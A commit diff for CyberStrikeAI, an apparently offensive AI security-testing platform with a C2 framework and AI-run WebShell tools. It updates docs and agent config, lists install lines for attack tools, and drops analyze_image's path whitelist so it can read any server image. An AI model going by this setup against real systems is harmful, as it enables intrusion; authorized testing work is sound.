Update config.yaml

README.md

@@ -29,7 +29,6 @@ If CyberStrikeAI helps you, you can support the project via **WeChat Pay** or **
 
 CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, comprehensive lifecycle management capabilities, and a **built-in lightweight C2 (Command & Control) framework** for **authorized** engagements (listeners, encrypted implants, sessions, tasks, real-time events, REST and MCP). Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
 
-
 ## Interface & Integration Preview
 
 <div align="center">
@@ -117,9 +116,9 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
 - 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
 - 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
 - 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
-- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
+- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). ADK **summarization** compresses long contexts; pre-compaction **transcripts** land at `data/conversation_artifacts/<conversation-id>/summarization/transcript.txt` (full user/assistant/tool turns; static system omitted). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
 - 🖼️ **Vision analysis (`analyze_image`)**: separate VL model (e.g. `qwen-vl-max`) via MCP for local screenshots, captchas, and UI; image bytes stay out of agent history (text summaries only). Configure `vision` in `config.yaml`; see [docs/VISION.md](docs/VISION.md)
-- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, plantask, reduction, checkpoints, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
+- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, **plantask** (`TaskCreate` / `TaskList` boards under `skills_dir/.eino/plantask/`), reduction, file **checkpoints** (`checkpoint_dir`), ChatModel **retries**, session **output key**, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
 - 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
 - 🧑‍⚖️ **Human-in-the-loop (HITL)**: Chat sidebar to set approval mode and tool allowlists (listed tools skip approval); global list in `config.yaml` under `hitl.tool_whitelist`; **Apply** can merge new tools into the file and update the running server without restart; dedicated **HITL** page for pending approvals
 - 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
@@ -190,14 +189,21 @@ The `run.sh` script will automatically:
      ```
    - Or edit `config.yaml` directly before launching
 2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
-3. **Install security tools (optional)** - Install tools as needed:
+3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
+
+   **macOS (Homebrew):**
    ```bash
-   # macOS
-   brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass
-   # Ubuntu/Debian
-   sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster
+   brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
    ```
-   AI automatically falls back to alternatives when a tool is missing.
+
+   **Linux (Kali / Debian / Ubuntu):**
+   ```bash
+   sudo apt update
+   sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
+   # On some distros, install ffuf/nuclei/subfinder via go install or upstream docs
+   ```
+
+   See the `tools/` directory for the full list; refer to each tool's official docs for install details.
 
 **Alternative Launch Methods:**
 ```bash
@@ -260,7 +266,7 @@ Requirements / tips:
 - **Predefined roles** – System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory.
 - **Custom prompts** – Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas.
 - **Tool restrictions** – Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities).
-- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, reduction, checkpoints, etc.) apply per mode—see docs.
+- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, plantask, reduction, checkpoints, summarization transcripts, etc.) apply per mode—see docs.
 - **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields.
 - **Web UI integration** – Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions.
 
@@ -288,6 +294,7 @@ Requirements / tips:
   - **Sub-agents** (for **deep** / **supervisor**): other `*.md` files (YAML front matter + body). Not used as **`task`** targets if marked orchestrator-only.
 - **Management** – Web UI: **Agents → Agent management**; API `/api/multi-agent/markdown-agents`.
 - **Config** – `multi_agent` in `config.yaml`: `enabled`, `robot_default_agent_mode`, `batch_use_multi_agent`, `max_iteration`, `plan_execute_loop_max_iterations`, per-mode orchestrator instruction fields, optional YAML `sub_agents` merged with disk (`id` clash → Markdown wins), **`eino_skills`**, **`eino_middleware`** (optional ADK middleware and Deep/Supervisor tuning).
+- **Resilience & long runs** – `checkpoint_dir` enables ADK **resume** after process crashes (distinct from trace-based “interrupt & continue”). `deep_model_retry_max_retries` retries transient LLM API failures within a single call. **Summarization** writes a filtered **transcript** when compression fires; the summary message includes the path so the model can `read_file` for scan output and other pre-compaction details.
 - **Details** – **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)** (streaming, robots, batch, middleware caveats).
 
 ### Skills System (Agent Skills + Eino)
@@ -295,7 +302,7 @@ Requirements / tips:
 - **Runtime refactor** – **`skills_dir`** is the single root for packs. **Multi-agent** loads them through Eino’s official **`skill`** middleware (**progressive disclosure**: model calls `skill` with a pack **name** instead of receiving full SKILL text up front). Configure via **`multi_agent.eino_skills`**: `disable`, `filesystem_tools` (host read/glob/grep/write/edit/execute), `skill_tool_name`.
 - **Eino / RAG** – Packages are also split into `schema.Document` chunks for `FilesystemSkillsRetriever` (`skills.AsEinoRetriever()`) in **compose** graphs (e.g. knowledge/indexing pipelines).
 - **HTTP API** – `/api/skills` listing and `depth` (`summary` | `full`), `section`, and `resource_path` remain for the web UI and ops; **model-side** skill loading in multi-agent uses the **`skill`** tool, not MCP.
-- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, `plantask` (structured tasks; persistence defaults under a subdirectory of `skills_dir`), `reduction`, `checkpoint_dir`, Deep output key / model retries / task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
+- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, **`plantask`** (Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`; JSON under `skills_dir/.eino/plantask/<conversation-id>/`; Eino clears task files when **all** tasks are marked completed), `reduction`, **`checkpoint_dir`** (`data/eino-checkpoints/`), **`deep_model_retry_max_retries`**, **`deep_output_key`**, task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
 - **Shipped demo** – `skills/cyberstrike-eino-demo/`; see `skills/README.md`.
 
 **Creating a skill:**
@@ -543,7 +550,7 @@ multi_agent:
   orchestrator_instruction: ""  # Deep; used when orchestrator.md body is empty
   # orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor optional
   # eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
-  # eino_middleware: optional patch_tool_calls, tool_search, plantask, reduction, checkpoint_dir, ...
+  # eino_middleware: plantask_enable, checkpoint_dir, deep_model_retry_max_retries, deep_output_key, ...
 ```
 
 ### Tool Definition Example (`tools/nmap.yaml`)

README_CN.md

@@ -28,7 +28,6 @@
 
 CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能、完整的测试生命周期管理能力，以及面向 **授权场景** 的 **内置轻量 C2（Command & Control，指挥与控制）** 能力（监听器、加密通信、会话与任务、实时事件、REST 与 MCP 协同）。通过原生 MCP 协议与 AI 智能体，支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化，为安全团队提供可审计、可追溯、可协作的专业测试环境。
 
-
 ## 界面与集成预览
 
 <div align="center">
@@ -116,9 +115,9 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集
 - 🛡️ 漏洞管理功能：完整的漏洞 CRUD 操作，支持严重程度分级、状态流转、按对话/严重程度/状态过滤，以及统计看板
 - 📋 批量任务管理：创建任务队列，批量添加任务，依次顺序执行，支持任务编辑与状态跟踪
 - 🎭 角色化测试：预设安全测试角色（渗透测试、CTF、Web 应用扫描等），支持自定义提示词和工具限制
-- 🧩 **Agent 编排（CloudWeGo Eino）**：**单代理** `POST /api/eino-agent/stream`（Eino ADK）；**多代理** `POST /api/multi-agent/stream`，`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
+- 🧩 **Agent 编排（CloudWeGo Eino）**：**单代理** `POST /api/eino-agent/stream`（Eino ADK）；**多代理** `POST /api/multi-agent/stream`，`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。ADK **Summarization** 在上下文过长时压缩历史；压缩前将可恢复 **转录** 写入 `data/conversation_artifacts/<会话ID>/summarization/transcript.txt`（保留完整 user/assistant/tool 轮次，省略静态 system）。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
 - 🖼️ **视觉分析（`analyze_image`）**：独立 Vision 模型（如 `qwen-vl-max`），MCP 工具分析本地截图/验证码/UI；图片仅在单次 VL 调用中出现，对话上下文只保留文字摘要。配置见 `config.yaml` → `vision` 与 [视觉分析说明](docs/VISION.md)
-- 🎯 **Skills（面向 Eino 重构）**：技能包放在 **`skills_dir`**，遵循 **Agent Skills** 目录规范（`SKILL.md` + 可选文件）；**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**（按 name 加载）。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖；**`eino_middleware`** 可选 patch、tool_search、plantask、reduction、断点目录及 Deep 调参。20+ 领域示例仍可绑定角色
+- 🎯 **Skills（面向 Eino 重构）**：技能包放在 **`skills_dir`**，遵循 **Agent Skills** 目录规范（`SKILL.md` + 可选文件）；**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**（按 name 加载）。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖；**`eino_middleware`** 可选 patch、tool_search、**plantask**（`TaskCreate` / `TaskList` 任务板，落在 `skills_dir/.eino/plantask/`）、reduction、文件型 **checkpoint**（`checkpoint_dir`）、ChatModel **重试**、会话 **输出键** 及 Deep 调参。20+ 领域示例仍可绑定角色
 - 📱 **机器人**：支持钉钉、飞书长连接，在手机端与 CyberStrikeAI 对话（配置与命令详见 [机器人使用说明](docs/robot.md)）
 - 🧑‍⚖️ **人机协同（HITL）**：对话页侧栏配置协同模式与免审批工具白名单；全局列表在 `config.yaml` 的 `hitl.tool_whitelist`；点「应用」可将新增工具合并写入配置文件且**无需重启**即可生效；导航 **人机协同** 页处理待审批工具调用
 - 🐚 **WebShell 管理**：添加与管理 WebShell 连接（兼容冰蝎/蚁剑等），通过虚拟终端执行命令、内置文件管理进行文件操作，并提供按连接维度保存历史的 AI 助手标签页；支持 PHP/ASP/ASPX/JSP 及自定义类型，可配置请求方法与命令参数。
@@ -189,14 +188,21 @@ chmod +x run.sh && ./run.sh
      ```
    - 或启动前直接编辑 `config.yaml` 文件
 2. **登录系统** - 使用控制台显示的自动生成密码（或在 `config.yaml` 中设置 `auth.password`）
-3. **安装安全工具（可选）** - 按需安装所需工具：
+3. **安装安全工具（可选）** - 按需安装 `tools/` 目录中的工具；未安装的工具在执行时会自动跳过或改用替代方案。常用示例：
+
+   **macOS（Homebrew）：**
    ```bash
-   # macOS
-   brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass
-   # Ubuntu/Debian
-   sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster
+   brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
    ```
-   未安装的工具会自动跳过或改用替代方案。
+
+   **Linux（Kali / Debian / Ubuntu）：**
+   ```bash
+   sudo apt update
+   sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
+   # 部分发行版需自行安装：ffuf、nuclei、subfinder 等可用 go install 或见各工具官网
+   ```
+
+   完整工具列表见 `tools/` 目录；各工具安装方式以官方文档为准。
 
 **其他启动方式：**
 ```bash
@@ -258,7 +264,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 - **预设角色**：系统内置 12+ 个预设的安全测试角色（渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等），位于 `roles/` 目录。
 - **自定义提示词**：每个角色可定义 `user_prompt`，会在用户消息前自动添加，引导 AI 采用特定的测试方法和关注重点。
 - **工具限制**：角色可指定 `tools` 列表，限制可用工具，实现聚焦的测试流程（如 CTF 角色限制为 CTF 专用工具）。
-- **Skills**：技能包位于 `skills_dir`；启用 **`multi_agent.eino_skills`** 后，**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。中间件与本机 read_file/glob/grep 等见文档。
+- **Skills**：技能包位于 `skills_dir`；启用 **`multi_agent.eino_skills`** 后，**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。可选 **`eino_middleware`**（tool_search、plantask、reduction、checkpoint、Summarization 转录等）与本机 read_file/glob/grep 等见文档。
 - **轻松创建角色**：通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段。
 - **Web 界面集成**：在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。
 
@@ -286,6 +292,7 @@ go build -o cyberstrike-ai cmd/server/main.go
   - **子代理**（**deep** / **supervisor**）：其余 `*.md`；标成 orchestrator 的不会进入 `task` 列表。
 - **界面管理**：**Agents → Agent 管理**；API `/api/multi-agent/markdown-agents`。
 - **配置项**：`multi_agent`：`enabled`、`robot_default_agent_mode`、`batch_use_multi_agent`、`max_iteration`、`plan_execute_loop_max_iterations`、各模式 orchestrator 指令字段、可选 YAML `sub_agents` 与目录合并（同 `id` → Markdown 优先）、**`eino_skills`**、**`eino_middleware`**。
+- **长任务与恢复**：`checkpoint_dir` 支持进程崩溃后 ADK **断点续跑**（与基于 trace 的「中断继续」不同）。`deep_model_retry_max_retries` 在同一次 LLM 调用内重试瞬时 API 失败。**Summarization** 触发压缩时会写入过滤后的 **transcript**，摘要消息中带路径，模型可用 `read_file` 找回扫描输出等压缩前细节。
 - **更多细节**：[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)（流式、机器人、批量、中间件差异）。
 
 ### Skills 技能系统（Agent Skills + Eino）
@@ -293,7 +300,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 - **运行侧重构**：**`skills_dir`** 为技能包唯一根目录；**多代理** 通过 Eino 官方 **`skill`** 中间件做 **渐进式披露**（模型按 **name** 调用 `skill`，而非一次性注入全文）。由 **`multi_agent.eino_skills`** 控制：`disable`、`filesystem_tools`（本机读写与 Shell）、`skill_tool_name`。
 - **Eino / 知识流水线**：技能包可切分为 `schema.Document`，供 `FilesystemSkillsRetriever`（`skills.AsEinoRetriever()`）在 **compose** 图（如索引/编排）中使用。
 - **HTTP 管理**：`/api/skills` 列表与 `depth=summary|full`、`section`、`resource_path` 等仍用于 Web 与运维；**模型侧** 多代理走 **`skill`** 工具，而非 MCP。
-- **可选 `eino_middleware`**：如 `tool_search`（动态工具列表）、`patch_tool_calls`、`plantask`（结构化任务；默认落在 `skills_dir` 下子目录）、`reduction`、`checkpoint_dir`、Deep 输出键 / 模型重试 / task 描述前缀等，见 `config.yaml` 与 `internal/config/config.go`。
+- **可选 `eino_middleware`**：如 `tool_search`（动态工具列表）、`patch_tool_calls`、**`plantask`**（Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`；JSON 存于 `skills_dir/.eino/plantask/<会话ID>/`；**全部**任务标为 completed 后 Eino 会清理任务文件）、`reduction`、**`checkpoint_dir`**（如 `data/eino-checkpoints/`）、**`deep_model_retry_max_retries`**、**`deep_output_key`**、task 描述前缀等，见 `config.yaml` 与 `internal/config/config.go`。
 - **自带示例**：`skills/cyberstrike-eino-demo/`；说明见 `skills/README.md`。
 
 **新建技能：**
@@ -541,7 +548,7 @@ multi_agent:
   orchestrator_instruction: ""  # Deep；orchestrator.md 正文为空时使用
   # orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor 可选
   # eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
-  # eino_middleware: 可选 patch_tool_calls、tool_search、plantask、reduction、checkpoint_dir 等
+  # eino_middleware: plantask_enable、checkpoint_dir、deep_model_retry_max_retries、deep_output_key 等
 ```
 
 ### 工具模版示例（`tools/nmap.yaml`）

config.yaml

@@ -10,7 +10,7 @@
 # ============================================
 
 # 前端显示的版本号（可选，不填则显示默认版本）
-version: "v1.6.30"
+version: "v1.6.36"
 # 服务器配置
 server:
   host: 0.0.0.0 # 监听地址，0.0.0.0 表示监听所有网络接口
@@ -79,7 +79,6 @@ vision:
   skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 且<=max_payload 时原图直传；0=始终压缩
   detail: auto # low | high | auto（Eino ImageURLDetail）
   timeout_seconds: 60
-  # allowed_roots: [] # 额外允许的绝对路径根目录
 # ============================================
 # 信息收集（FOFA）配置（可选）
 # ============================================
@@ -92,7 +91,7 @@ fofa:
 # Agent 配置
 # 达到最大迭代次数时，AI 会自动总结测试结果
 agent:
-  max_iterations: 12000 # 最大迭代次数，AI 代理最多执行多少轮工具调用
+  max_iterations: 12000 # 全局最大迭代次数（单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用；agents/*.md 中 max_iterations>0 可单独覆盖）
   large_result_threshold: 102400 # 大结果阈值（字节），默认50KB，超过此大小会自动保存到存储
   result_storage_dir: tmp # 结果存储目录，大结果会保存在此目录下
   tool_timeout_minutes: 60 # 单次工具执行最大时长（分钟），超时自动终止；0 表示不限制（不推荐，易出现长时间挂起）
@@ -110,10 +109,8 @@ multi_agent:
   enabled: true
   robot_default_agent_mode: eino_single # 企微/钉钉/飞书机器人默认：eino_single | deep | plan_execute | supervisor
   batch_use_multi_agent: false # true 时「批量任务」队列中每个子任务也走 Eino 多代理（成本更高）
-  max_iteration: 0 # 主代理 / plan_execute 执行器最大轮次，0 表示沿用 agent.max_iterations
-  # plan_execute 专用：execute↔replan 外层循环上限，0 表示 Eino 默认 10。当前实现下 Executor 会挂载 patch/reduction/tool_search 等前置中间件。
+  # plan_execute 专用：execute↔replan 外层循环上限，0 表示 Eino 默认 10。主/子代理 ReAct 轮次见 agent.max_iterations。
   plan_execute_loop_max_iterations: 0
-  sub_agent_max_iterations: 120
   sub_agent_user_context_max_runes: 0 # 子代理 task 描述中自动注入用户原始请求的字符上限；0=默认2000，负数=禁用
   without_general_sub_agent: false # false 时保留 Deep 内置 general-purpose 子代理
   without_write_todos: false
@@ -132,8 +129,8 @@ multi_agent:
     tool_search_min_tools: 20 # 达到该数量才启用 tool_search（避免工具很少时多此一举）；与 always_visible 配合使用
     tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数（顺序与角色工具列表一致）；其余工具进入动态池，需 tool_search 解锁
     tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test] # 后端内置常驻工具白名单（优先于 always_visible 数量策略）
-    plantask_enable: false # true：主代理（Deep / Supervisor 主）挂载 TaskCreate/Get/Update/List；需 eino_skills 可用且 skills_dir 存在，否则仅打日志并跳过
-    plantask_rel_dir: .eino/plantask # 结构化任务文件相对 skills_dir 的子目录，其下再按会话 ID 分子目录存放
+    plantask_enable: true # P0：主代理挂载 TaskCreate/Get/Update/List 结构化任务板；需 eino_skills 可用且 skills_dir 存在
+    plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir，按会话分子目录：skills/.eino/plantask/<conversationId>/
     reduction_enable: true # true：大工具输出截断/落盘以控上下文；依赖与 plantask 相同的 eino local 写盘后端，无后端时不挂载
     reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数（bytes）时截断并落盘（由 reduction 中间件处理）
     reduction_max_tokens_for_clear: 160000 # 历史工具结果清理阈值（tokens），超阈值时在模型调用前清理旧结果
@@ -146,11 +143,11 @@ multi_agent:
     plan_execute_executed_steps_budget_ratio: 0.2 # plan_execute 中 executed_steps 预算比例
     plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数（超出截断）
     plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文，早期步骤折叠为标题
-    checkpoint_dir: "" # 非空：为 adk.NewRunner 启用按会话子目录的文件型 CheckPointStore，便于中断恢复持久化；Resume 的 HTTP/前端流程需另行对接
-    run_retry_max_attempts: 0 # >0：429/5xx/网络抖动时 ADK 运行循环指数退避续跑次数；0=默认 10
+    checkpoint_dir: data/eino-checkpoints # P0：进程崩溃/OOM 后同会话自动 ADK Resume；正常结束会删 .ckpt；与「中断并继续」(last_react_*) 是两套机制
+    run_retry_max_attempts: 0 # 429/5xx/网络抖动时整轮 Run 指数退避续跑；0=默认 10（与 deep_model_retry 互补，建议保持默认）
     run_retry_max_backoff_sec: 0 # 单次退避上限秒数；0=默认 30
-    deep_output_key: "" # 非空：将最终助手输出写入 adk session 的键名（Deep 与 Supervisor 主代理）；空表示不写入
-    deep_model_retry_max_retries: 0 # >0：ChatModel 调用失败时的框架级最大重试次数（Deep 与 Supervisor 主）；0：不重试
+    deep_output_key: final_answer # P0：Eino session 写入最终助手结论（框架内部；Deep/Supervisor 主/eino_single）
+    deep_model_retry_max_retries: 3 # P0：单次 ChatModel API 失败时框架自动重试（超时/502 等）；子代理模型不受此项影响
     task_tool_description_prefix: "" # 非空：仅 Deep 的 task 工具使用自定义描述前缀，运行时会拼接子代理名称；空则走 Eino 默认生成逻辑
   # Eino callbacks + OpenTelemetry：框架级 span（与 Zap 对齐）；默认不向终端用户 UI 推 eino_trace_*（见 sse_trace_to_client）
   eino_callbacks:
@@ -295,7 +292,7 @@ skills_dir: skills # Skills配置文件目录（相对于配置文件所在目
 # ============================================
 # 多代理子 Agent（Markdown，唯一维护处）
 # ============================================
-# 每个 .md：YAML front matter（name / id / description / tools / bind_role / max_iterations / 可选 kind: orchestrator）+ 正文为系统提示词
+# 每个 .md：YAML front matter（name / id / description / tools / bind_role / 可选 max_iterations>0 覆盖全局 / 可选 kind: orchestrator）+ 正文为系统提示词
 # 主代理：固定文件名 orchestrator.md，或任意文件名 + front matter kind: orchestrator（全目录仅允许一个）；主代理不参与 task 子代理列表
 # 高级用法：仍可在 multi_agent 块内写 sub_agents，会与本文目录合并且同 id 时 YAML 可被 .md 覆盖
 agents_dir: agents
@@ -313,7 +310,7 @@ roles_dir: roles # 角色配置文件目录（相对于配置文件所在目录
 project:
   enabled: true
   # default_project_id: "" # 可选：机器人/批量任务创建对话时的默认项目 ID
-  fact_index_max_runes: 3500
-  fact_summary_max_runes: 240
+  fact_index_max_runes: 6500
+  fact_summary_max_runes: 2400
   default_inject_deprecated: false
   

docs/MULTI_AGENT_EINO.md

@@ -12,7 +12,7 @@
 | 项 | 说明 |
 |----|------|
 | 依赖与代理 | `go.mod` 直接依赖 `github.com/cloudwego/eino`、`eino-ext/.../openai`；`go.mod` 注释与 `scripts/bootstrap-go.sh` 指导 **GOPROXY**（如 `https://goproxy.cn,direct`）。 |
-| 配置 | `config.yaml` → `multi_agent`：`enabled`、`robot_use_multi_agent`、`max_iteration`、`sub_agents`（含可选 `bind_role`）、`eino_skills`、`eino_middleware` 等；结构体见 `internal/config/config.go`。 |
+| 配置 | `config.yaml` → `agent.max_iterations` 为全局 ReAct 上限（主/子代理统一）；`multi_agent`：`enabled`、`robot_use_multi_agent`、`sub_agents`（含可选 `bind_role`）、`eino_skills`、`eino_middleware` 等；结构体见 `internal/config/config.go`。 |
 | Markdown 子代理 / 主代理 | 在 `agents_dir` 下放 `*.md`。**子代理**：供 Deep `task` 与 `supervisor` `transfer`。**主代理（按模式分离）**：`orchestrator.md`（或 `kind: orchestrator` 的**单个**其他 .md）→ **Deep**；固定名 `orchestrator-plan-execute.md` → **plan_execute**；固定名 `orchestrator-supervisor.md` → **supervisor**。正文优先于 YAML：`multi_agent.orchestrator_instruction`、`orchestrator_instruction_plan_execute`、`orchestrator_instruction_supervisor`；plan_execute / supervisor **不会**回退到 Deep 的 `orchestrator_instruction`。皆空时 plan_execute / supervisor 使用代码内置默认提示。管理：**Agents → Agent管理**；API：`/api/multi-agent/markdown-agents*`。 |
 | MCP 桥 | `internal/einomcp`：`ToolsFromDefinitions` + 会话 ID 持有者，执行走 `Agent.ExecuteMCPToolForConversation`。 |
 | 编排 | `internal/multiagent/runner.go`：`deep.New` + 子 `ChatModelAgent` + `adk.NewRunner`（`EnableStreaming: true`，可选 `CheckPointStore`），事件映射为现有 SSE `tool_call` / `response_delta` 等。 |

docs/VISION.md

@@ -22,7 +22,6 @@ vision:
   skip_preprocess_below_bytes: 2097152  # 低于 2MB 且长边<=max_dimension 时原图直传；0=始终 JPEG 压缩
   detail: low          # low | high | auto
   timeout_seconds: 60
-  # allowed_roots: [] # 额外绝对路径根
 ```
 
 `enabled: false` 时不注册工具。
@@ -31,14 +30,9 @@ vision:
 
 **系统设置 → 基本设置 → 视觉分析（analyze_image）** 可配置启用开关、视觉模型、API Key/Base URL（留空复用 OpenAI）、预处理参数；**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
 
-## 路径白名单
+## 路径
 
-默认可读：
-
-- 进程工作目录（`cwd`）及其子路径
-- `chat_uploads/`
-- `agent.result_storage_dir`（默认 `tmp/`）
-- `vision.allowed_roots` 中配置的绝对路径
+`analyze_image` 可读取服务器上任意可读的图片文件路径（绝对路径或相对于进程工作目录的相对路径）。仍校验图片扩展名与常规文件类型。
 
 ## Agent 使用
 

go.mod

@@ -17,6 +17,7 @@ require (
 	github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
 	github.com/cloudwego/eino-ext/components/model/openai v0.1.13
 	github.com/creack/pty v1.1.24
+	github.com/disintegration/imaging v1.6.2
 	github.com/eino-contrib/jsonschema v1.0.3
 	github.com/gin-gonic/gin v1.9.1
 	github.com/google/uuid v1.6.0
@@ -49,7 +50,6 @@ require (
 	github.com/cenkalti/backoff/v4 v4.3.0 // indirect
 	github.com/cloudwego/base64x v0.1.6 // indirect
 	github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
-	github.com/disintegration/imaging v1.6.2 // indirect
 	github.com/dlclark/regexp2 v1.10.0 // indirect
 	github.com/dustin/go-humanize v1.0.1 // indirect
 	github.com/evanphx/json-patch v0.5.2 // indirect

internal/app/app.go

@@ -315,6 +315,14 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
